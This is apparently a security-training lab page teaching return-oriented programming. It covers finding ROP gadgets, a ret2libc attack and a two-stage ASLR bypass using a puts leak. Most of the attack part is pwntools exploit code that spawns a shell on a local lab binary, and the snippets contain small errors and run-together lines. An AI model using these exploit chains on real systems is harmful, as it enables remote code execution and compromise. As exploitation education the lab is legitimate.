🎯 Lab Objectives
- Understand why NX/DEP makes traditional shellcode injection impossible
- Find ROP gadgets with ROPgadget and ropper
- Build a basic ROP chain manually
- Perform a ret2libc attack to call system("/bin/sh") without ASLR
- Use a printf/puts leak to defeat ASLR in a two-stage exploit
- Write a complete exploit script using pwntools
Topics Covered
- DEP/NX protection — why shellcode no longer works directly
- Return-oriented programming — chaining gadget sequences
- Gadget types: pop/ret, mov, syscall, ret
- Finding gadgets in the binary and libc
- ret2libc technique without ASLR
- ASLR bypass via information leaks (leak libc base)
Why ROP?
DEP/NX marks the stack as non-executable — shellcode injected onto the stack will trigger a fault when jumped to. ROP solves this by chaining small existing code snippets ("gadgets") that end in a RET instruction. You control the stack and place gadget addresses followed by their arguments. The CPU executes them sequentially without ever running code from a data region.
Finding Gadgets
# ROPgadget
ROPgadget --binary ./vuln --rop | grep ": pop rdi ; ret"
ROPgadget --binary ./vuln --string "/bin/sh"
# ropper
ropper -f ./vuln --search "pop rdi"
# pwndbg checksec
checksec ./vuln # shows NX, canary, PIE, RELRO statusret2libc Without ASLR
from pwn import *
elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi = 0x401234 # from ROPgadget
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']
ret_gadget = 0x401235 # alignment gadget (required on x64)
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(ret_gadget)
payload += p64(system)Defeating ASLR With a Libc Leak
pop_rdi = 0x401234
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_fn = elf.sym['main']
# Stage 1: leak puts@GOT to get libc base
payload = b'A' * offset
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_fn) # return to main for stage 2
p = process('./vuln')
p.sendline(payload)
leak = u64(p.recvline().strip().ljust(8, b''))
libc_base = leak - libc.sym['puts']
# Stage 2: call system("/bin/sh") with resolved addresses
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))Lab Complete! Mark it done below and continue your learning path.